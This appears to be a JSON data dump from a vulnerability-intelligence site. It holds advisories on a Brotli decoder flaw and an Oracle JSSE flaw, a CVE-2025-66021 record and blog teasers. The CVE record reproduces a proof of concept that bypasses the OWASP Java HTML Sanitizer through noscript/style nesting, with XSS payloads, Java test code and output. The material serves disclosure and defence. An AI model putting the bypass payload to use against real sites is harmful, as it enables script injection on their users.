[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-66021":30,"landing-articles":68},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":42,"references":44,"score":52,"epss_score":53,"epss_percentile":54,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":55,"attack_mappings":65,"exploits":66},72152,"CVE-2025-66021","EUVD-2025-199654","OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization \n\n### Summary\nIt is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. \n\n### Details\n\nThe OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags.\n\nThe following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. \n\n### PoC\n\n1.  Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn(\"style\")`.\n2.  There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag.\nThese payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.\n\n```HTML\n1. \u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\n2. \u003Cp>\u003Cstyle>\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n3. Run the following piece of code which sanitizes the payload. \n\n```java\npublic class main {\n\tprivate static final String ALLOWED_HTML_TAGS = \"p, noscript, style\";\n\n\t\u002F**\n\t * Description of vulnerability :\n\t *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.\n\t *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.\n\t *\u002F\n\n\tpublic static void main(String[] args) {\n\t\twithAllowedTextAndStyleTag();\n\t}\n\n\t\u002F**\n\t *  Test case : Vulnerable to XSS\n\t *\u002F\n\tpublic static void withAllowedTextAndStyleTag() {\n\t\tHtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();\n\t\tPolicyFactory policy = htmlPolicyBuilder\n\t\t\t\t.allowElements(ALLOWED_HTML_TAGS.split(\"\\\\s*,\\\\s*\"))\n\t\t\t\t.allowTextIn(\"style\")\n\t\t\t\t.toFactory();\n\t\tString untrustedHTMLOne = \"\u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\";\n\t\tString untrustedHTMLTwo = \"\u003Cp>\u003Cstyle>\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>\";\n\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLOne +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLOne));\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLTwo +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLTwo));\n\t}\n}\n```\n\nUse the latest library version \n\n```xml\n\t\t\u003Cdependency>\n\t\t\t\u003CgroupId>com.googlecode.owasp-java-html-sanitizer\u003C\u002FgroupId>\n\t\t\t\u003CartifactId>owasp-java-html-sanitizer\u003C\u002FartifactId>\n\t\t\t\u003Cversion>20240325.1\u003C\u002Fversion>\n\t\t\u003C\u002Fdependency>\n```\n\n4. Output of the POC code should look like this \n\n```HTML\n\nPAYLOAD: \u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\nSANITIZED OUTPUT: \u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\u003C\u002Fstyle>\u003C\u002Fnoscript>\n\n\nPAYLOAD: \u003Cp>\u003Cstyle>\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>\nSANITIZED OUTPUT: \u003Cp>\u003Cstyle>\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>\u003C\u002Fstyle>\u003C\u002Fp>\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \u003Cnoscript>\u003Cstyle> {\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>} -> CSS\n\n-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. \nSANITIZED OUTPUT: \u003Cnoscript>\u003Cstyle>{\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>}\u003C\u002Fstyle>\u003C\u002Fnoscript>\n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: \u003Cp>\u003Cstyle>\u003C\u002Fp>{\u003Cscript>alert(1)\u003C\u002Fscript>} -> CSS\n\n--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. \nSANITIZED OUTPUT: \u003Cp>\u003Cstyle>{\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>}\u003C\u002Fstyle>\u003C\u002Fp>\n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Ctitle>POC OF SANITIZER OUTPUT\u003C\u002Ftitle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!--XSS OUTPUT : \u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\u003C\u002Fstyle>\u003C\u002Fnoscript>-->\n\u003Cnoscript>\u003Cstyle>\u003C\u002Fnoscript>\u003Cscript>alert(1)\u003C\u002Fscript>\u003C\u002Fstyle>\u003C\u002Fnoscript>\n\n\u003C!-- SAFE OUTPUT -->\n\u003Cp>\u003Cstyle>\u003C\u002Fp>\u003Cscript>alert(1)\u003C\u002Fscript>\u003C\u002Fstyle>\u003C\u002Fp>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n\n\n7. Open this HTML page in the browser it should pop an alert.\n\n![Alt text](https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F0b96a6c2-818e-4a21-80df-42c4cf26bafd \"Leads to XSS\")\n\n8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. \n\n![SAFE from XSS](https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fb6c657fc-32df-4006-9ee8-ca6598f094ad \"Safe from XSS\")\n\n9. The payload which combined with noscript tag and style tag did caused XSS.\nThe broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.\n\n![XSS POC](https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fabfe0112-c63e-4149-a343-509b25db1b60 \"Leads to XSS\")\n\n\n### Impact\n1. This potentially could leads to XSS in applications. \nRef : https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002Fxss\u002F","2025-11-25T22:10:00Z",{},false,[39],"CWE-79",[41],"cpe:2.3:a:owasp:java_html_sanitizer:20240325.1:*:*:*:*:*:*:*",[43],"Owasp Java Html Sanitizer",[45,46,47,48,49,50,51],"https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer\u002Fsecurity\u002Fadvisories\u002FGHSA-g9gq-3pfx-2gw2","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-66021","https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer\u002Fissues\u002F363","https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer\u002Fcommit\u002F4149cf02ba84db13e8e9d7ee1b01b3f47238e072","https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer\u002Fcommit\u002Fb98cdf1cd5e156a6259b01aa8cdc7372c6efde1e","https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer\u002Fcommit\u002Fd6e0463ed3b48777ecd187913ffdbe767508ff45","https:\u002F\u002Fgithub.com\u002FOWASP\u002Fjava-html-sanitizer",0,0.0027,0.18968,{"timestamp":56,"automatable":57,"tech_impact":58,"exploitation":59,"cisa_decision":60,"cisa_remediation_timeline":64},"2025-11-26T15:15:53.738095Z","no","total","poc",{"vector":61,"decision":62,"priority":63},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T01:39:47.465443\u002F","attend","medium","14D",[],[67],{"link":45},{"count":69,"next":70,"previous":6,"results":71},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[72,80,88],{"id":73,"title":74,"summary":75,"published_at":76,"type":77,"link":78,"image_url":79},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":81,"title":82,"summary":83,"published_at":84,"type":85,"link":86,"image_url":87},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":89,"title":90,"summary":91,"published_at":92,"type":93,"link":94,"image_url":95},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]